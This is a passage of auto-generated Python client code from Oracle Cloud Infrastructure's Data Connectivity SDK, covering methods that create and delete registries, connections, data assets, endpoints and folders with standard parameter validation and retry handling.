resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.FullPushDownTaskResponse` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/create_full_push_down_task.py.html>`__ to see an example of how to use create_full_push_down_task API. """ resource_path = "/registries/{registryId}/actions/fullPushDownTask" method = "POST" operation_name = "create_full_push_down_task" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "opc_retry_token", "if_match", "endpoint_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_full_push_down_task got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=create_full_push_down_task_details, response_type="FullPushDownTaskResponse", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=create_full_push_down_task_details, response_type="FullPushDownTaskResponse", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def create_reference_artifact(self, registry_id, dcms_artifact_id, create_reference_artifact_details, **kwargs): """ Reference a data asset. :param str registry_id: (required) The registry Ocid. :param str dcms_artifact_id: (required) The ID of a dcms artifact (DataAsset or Endpoint). :param oci.data_connectivity.models.CreateReferenceArtifactDetails create_reference_artifact_details: (required) The information needed to reference a dcms artifact :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.ReferenceInfo` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/create_reference_artifact.py.html>`__ to see an example of how to use create_reference_artifact API. """ resource_path = "/registries/{registryId}/dcmsArtifacts/{dcmsArtifactId}/actions/referenceArtifact" method = "POST" operation_name = "create_reference_artifact" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "opc_retry_token", "if_match" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_reference_artifact got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "dcmsArtifactId": dcms_artifact_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=create_reference_artifact_details, response_type="ReferenceInfo", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=create_reference_artifact_details, response_type="ReferenceInfo", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def create_registry(self, create_registry_details, **kwargs): """ Creates a new Data Connectivity Management Registry ready for performing data Connectivity Management. :param oci.data_connectivity.models.CreateRegistryDetails create_registry_details: (required) Details for the new Data Connectivity Management Registry. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/create_registry.py.html>`__ to see an example of how to use create_registry API. """ resource_path = "/registries" method = "POST" operation_name = "create_registry" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_retry_token", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_registry got unknown kwargs: {!r}".format(extra_kwargs)) header_params = { "accept": "application/json", "content-type": "application/json", "opc-retry-token": kwargs.get("opc_retry_token", missing), "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, header_params=header_params, body=create_registry_details, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, header_params=header_params, body=create_registry_details, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def create_test_network_connectivity(self, registry_id, create_test_network_connectivity_details, **kwargs): """ Execute network validation on selected data assets associated with the provided private endpoint :param str registry_id: (required) The registry Ocid. :param oci.data_connectivity.models.CreateTestNetworkConnectivityDetails create_test_network_connectivity_details: (required) Request body parameters to execute network validation :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str opc_retry_token: (optional) A token that uniquely identifies a request so it can be retried in case of a timeout or server error without risk of executing that same action again. :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type :class:`~oci.data_connectivity.models.TestNetworkConnectivity` :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/create_test_network_connectivity.py.html>`__ to see an example of how to use create_test_network_connectivity API. """ resource_path = "/registries/{registryId}/actions/testNetworkConnectivity" method = "POST" operation_name = "create_test_network_connectivity" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "opc_request_id", "opc_retry_token", "endpoint_id", "if_match" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "create_test_network_connectivity got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "opc-request-id": kwargs.get("opc_request_id", missing), "opc-retry-token": kwargs.get("opc_retry_token", missing), "if-match": kwargs.get("if_match", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_retry_token_if_needed(header_params) self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=create_test_network_connectivity_details, response_type="TestNetworkConnectivity", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, body=create_test_network_connectivity_details, response_type="TestNetworkConnectivity", allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def delete_connection(self, registry_id, connection_key, **kwargs): """ Removes a connection using the specified identifier. :param str registry_id: (required) The registry Ocid. :param str connection_key: (required) The connection key. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/delete_connection.py.html>`__ to see an example of how to use delete_connection API. """ resource_path = "/registries/{registryId}/connections/{connectionKey}" method = "DELETE" operation_name = "delete_connection" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "if_match", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "delete_connection got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "connectionKey": connection_key } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "if-match": kwargs.get("if_match", missing), "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def delete_connection_validation(self, registry_id, connection_validation_key, **kwargs): """ Deletes a connection validation. :param str registry_id: (required) The registry Ocid. :param str connection_validation_key: (required) The key of the connection validation. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str endpoint_id: (optional) Endpoint Id used for getDataAssetFullDetails. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/delete_connection_validation.py.html>`__ to see an example of how to use delete_connection_validation API. """ resource_path = "/registries/{registryId}/connectionValidations/{connectionValidationKey}" method = "DELETE" operation_name = "delete_connection_validation" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "if_match", "opc_request_id", "endpoint_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "delete_connection_validation got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "connectionValidationKey": connection_validation_key } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "endpointId": kwargs.get("endpoint_id", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "if-match": kwargs.get("if_match", missing), "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def delete_data_asset(self, registry_id, data_asset_key, **kwargs): """ Removes a data asset using the specified identifier. :param str registry_id: (required) The registry Ocid. :param str data_asset_key: (required) The data asset key. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/delete_data_asset.py.html>`__ to see an example of how to use delete_data_asset API. """ resource_path = "/registries/{registryId}/dataAssets/{dataAssetKey}" method = "DELETE" operation_name = "delete_data_asset" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "if_match", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "delete_data_asset got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "dataAssetKey": data_asset_key } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "if-match": kwargs.get("if_match", missing), "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def delete_endpoint(self, endpoint_id, **kwargs): """ Deletes a Data Connectivity Management Endpoint resource by identifier :param str endpoint_id: (required) DCMS Endpoint id :param str registry_id: (optional) DCMS registry id :param bool is_force_operation: (optional) Try to delete forcefully after drain timeout. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/delete_endpoint.py.html>`__ to see an example of how to use delete_endpoint API. """ resource_path = "/endpoints/{endpointId}" method = "DELETE" operation_name = "delete_endpoint" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "registry_id", "is_force_operation", "if_match", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "delete_endpoint got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "endpointId": endpoint_id } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) query_params = { "registryId": kwargs.get("registry_id", missing), "isForceOperation": kwargs.get("is_force_operation", missing) } query_params = {k: v for (k, v) in six.iteritems(query_params) if v is not missing and v is not None} header_params = { "accept": "application/json", "content-type": "application/json", "if-match": kwargs.get("if_match", missing), "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, query_params=query_params, header_params=header_params, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def delete_folder(self, registry_id, folder_key, **kwargs): """ Removes a folder using the specified identifier. :param str registry_id: (required) The registry Ocid. :param str folder_key: (required) The folder ID. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 'etag' of the resource on the server, the request fails with the 412 response code. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param obj retry_strategy: (optional) A retry strategy to apply to this specific operation/call. This will override any retry strategy set at the client-level. This should be one of the strategies available in the :py:mod:`~oci.retry` module. This operation will not retry by default, users can also use the convenient :py:data:`~oci.retry.DEFAULT_RETRY_STRATEGY` provided by the SDK to enable retries for it. The specifics of the default retry strategy are described `here <https://docs.oracle.com/en-us/iaas/tools/python/latest/sdk_behaviors/retries.html>`__. To have this operation explicitly not perform any retries, pass an instance of :py:class:`~oci.retry.NoneRetryStrategy`. :param bool allow_control_chars: (optional) allow_control_chars is a boolean to indicate whether or not this request should allow control characters in the response object. By default, the response will not allow control characters in strings :return: A :class:`~oci.response.Response` object with data of type None :rtype: :class:`~oci.response.Response` :example: Click `here <https://docs.cloud.oracle.com/en-us/iaas/tools/python-sdk-examples/latest/dataconnectivity/delete_folder.py.html>`__ to see an example of how to use delete_folder API. """ resource_path = "/registries/{registryId}/folders/{folderKey}" method = "DELETE" operation_name = "delete_folder" api_reference_link = "" # Don't accept unknown kwargs expected_kwargs = [ "allow_control_chars", "retry_strategy", "if_match", "opc_request_id" ] extra_kwargs = [_key for _key in six.iterkeys(kwargs) if _key not in expected_kwargs] if extra_kwargs: raise ValueError( "delete_folder got unknown kwargs: {!r}".format(extra_kwargs)) path_params = { "registryId": registry_id, "folderKey": folder_key } path_params = {k: v for (k, v) in six.iteritems(path_params) if v is not missing} for (k, v) in six.iteritems(path_params): if v is None or (isinstance(v, six.string_types) and len(v.strip()) == 0): raise ValueError('Parameter {} cannot be None, whitespace or empty string'.format(k)) header_params = { "accept": "application/json", "content-type": "application/json", "if-match": kwargs.get("if_match", missing), "opc-request-id": kwargs.get("opc_request_id", missing) } header_params = {k: v for (k, v) in six.iteritems(header_params) if v is not missing and v is not None} retry_strategy = self.base_client.get_preferred_retry_strategy( operation_retry_strategy=kwargs.get('retry_strategy'), client_retry_strategy=self.retry_strategy ) if retry_strategy: if not isinstance(retry_strategy, retry.NoneRetryStrategy): self.base_client.add_opc_client_retries_header(header_params) retry_strategy.add_circuit_breaker_callback(self.circuit_breaker_callback) return retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, allow_control_chars=kwargs.get('allow_control_chars'), operation_name=operation_name, api_reference_link=api_reference_link) def delete_network_connectivity_status(self, registry_id, network_validation_status_key, **kwargs): """ This api is used to delete a persisted NetworkValidationStatus by its key :param str registry_id: (required) The registry Ocid. :param str network_validation_status_key: (required) NetworkValidationStatus key. :param str opc_request_id: (optional) Unique Oracle-assigned identifier for the request. If you need to contact Oracle about a particular request, please provide the request ID. :param str if_match: (optional) For optimistic concurrency control. In the PUT or DELETE call for a resource, set the `if-match` parameter to the value of the `etag` from a previous GET or POST response for that resource. The resource will be updated or deleted only if the `etag` you provide matches the resource's current `etag` value. When 'if-match' is provided and its value does not exactly match the 